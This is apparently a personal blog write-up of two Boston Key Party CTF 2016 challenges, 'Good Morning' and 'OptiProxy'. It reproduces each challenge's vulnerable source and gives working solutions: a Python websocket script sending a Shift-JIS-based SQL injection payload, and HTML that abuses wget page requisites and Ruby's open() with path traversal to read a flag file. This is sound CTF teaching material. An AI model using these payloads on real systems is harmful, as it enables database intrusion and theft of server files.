07-03-2016 / Ctf

Boston Key Party CTF 2016 Good Morning and OptiProxy Writeup

Below you can find my solution for Good Morning and OptiProxy tasks from Boston Key Party CTF 2016.

Good Morning

#!/usr/bin/env python
from flask import Flask, render_template, Response
from flask_sockets import Sockets
import json
import MySQLdb
app = Flask(__name__)
sockets = Sockets(app)
with open("config.json") as f:
 connect_params = json.load(f)
connect_params["db"] = "ganbatte"
# Use Shift-JIS for everything so it uses less bytes
Response.charset = "shift-jis"
connect_params["charset"] = "sjis"
questions = [
  "name",
  "quest",
  "favorite color",
]
# List from http://php.net/manual/en/function.mysql-real-escape-string.php
MYSQL_SPECIAL_CHARS = [
  ("\\", "\\\\"),
  ("\0", "\\0"),
  ("\n", "\\n"),
  ("\r", "\\r"),
  ("'", "\\'"),
  ('"', '\\"'),
  ("\x1a", "\\Z"),
]
def mysql_escape(s):
  for find, replace in  MYSQL_SPECIAL_CHARS:
    s = s.replace(find, replace)
  return s
@sockets.route('/ws')
def process_questsions(ws):
  i = 0
  conn = MySQLdb.connect(**connect_params)
  with conn as cursor:
    ws.send(json.dumps({"type": "question", "topic": questions[i], "last": i == len(questions)-1}))
    while not ws.closed:
      message = ws.receive()
      if not message: continue
      message = json.loads(message)
      if message["type"] == "answer":
        question = mysql_escape(questions[i])
        answer = mysql_escape(message["answer"])
        cursor.execute('INSERT INTO answers (question, answer) VALUES ("%s", "%s")' % (question, answer))
        conn.commit()
        i += 1
        if i < len(questions):
          ws.send(json.dumps({"type": "question", "topic": questions[i], "last": i == len(questions)-1}))
      elif message["type"] == "get_answer":
        question = mysql_escape(message["question"])
        answer = mysql_escape(message["answer"])
        cursor.execute('SELECT * FROM answers WHERE question="%s" AND answer="%s"' % (question, answer))
        ws.send(json.dumps({"type": "got_answer", "row": cursor.fetchone()}))
      print message
@app.route('/')
def hello():
  return app.send_static_file("index.html")
if __name__ == "__main__":
  from gevent import pywsgi
  from geventwebsocket.handler import WebSocketHandler
  addr = ('localhost', 5000)
  server = pywsgi.WSGIServer(addr, app, handler_class=WebSocketHandler)
  server.serve_forever()

We have SQL Injection because of shift-jis encoding.

Here you can find explanation for this (page 36).

My solution (you need websocket-client):

# -*- coding: utf-8 -*-
import json
from websocket import create_connection
payload = '{"type":"get_answer","question": "¥\\" OR 1=1#", "answer":"test"}'
ws = create_connection("ws://52.86.232.163:32800/ws")
result =  ws.recv()
ws.send(payload)
result =  ws.recv()
print result
ws.close()

OptiProxy

require 'nokogiri'
require 'open-uri'
require 'sinatra'
require 'shellwords'
require 'base64'
require 'fileutils'
set :bind, "0.0.0.0"
set :port, 5300
cdir = Dir.pwd
get '/' do
        str = "welcome to the automatic resource inliner, we inline all images"
        str << " go to /example.com to get an inlined version of example.com"
        str << " flag is in /flag"
        str << " source is in /source"
        str
end
get '/source' do
        IO.read "/home/optiproxy/optiproxy.rb"
end
get '/flag' do
        str = "I mean, /flag on the file system... If you're looking here, I question"
        str << " your skills"
        str
end
get '/:url' do
        url = params[:url]
        main_dir = Dir.pwd
        temp_dir = ""
        dir = Dir.mktmpdir "inliner"
        Dir.chdir dir
        temp_dir = dir
        exec = "timeout 5 wget -T 2 --page-requisites #{Shellwords.shellescape url}"
        `#{exec}`
        my_dir = Dir.glob ("**/")
        Dir.chdir my_dir[0]
        index_file = "index.html"
        html_file = IO.read index_file
        doc = Nokogiri::HTML(open(index_file))
        doc.xpath('//img').each do |img|
                header = img.xpath('preceding::h2[1]').text
                image = img['src']
                img_data = ""
                uri_scheme = URI(image).scheme
                begin
                        if (uri_scheme == "http" or uri_scheme == "https")
                                url = image
                        else
                                url = "http://#{url}/#{image}"
                        end
                        img_data = open(url).read
                        b64d = "data:image/png;base64," + Base64.strict_encode64(img_data)
                        img['src'] = b64d
                rescue
                        # gotta catch 'em all
                        puts "lole"
                        next
                end
        end
        puts dir
        FileUtils.rm_rf dir
        Dir.chdir main_dir
        doc.to_html
end

As you can read here ruby open function is very dangerous.

So we can omit uri_scheme check if we can create http: directory inside temp dir.

And because wget is used with param --page-requisites which

This option causes Wget to download all the files that are necessary to properly display a given HTML page. This includes such things as inlined images, sounds, and referenced stylesheets.

we can create this dir using stylesheet directive.

<link rel="stylesheet" type="text/css" href="./http:/style.css">
<img src="http:/../../flag">
<img src="http:/../../../flag">
<img src="http:/../../../../flag">
<img src="http:/../../../../../flag">
<img src="http:/../../../../../../flag">
<img src="http:/../../../../../../../flag">
<img src="http:/../../../../../../../../flag">
<img src="http:/../../../../../../../../../flag">
<img src="http:/../../../../../../../../../../flag">
<img src="http:/../../../../../../../../../../../flag">
<img src="http:/../../../../../../../../../../../../flag">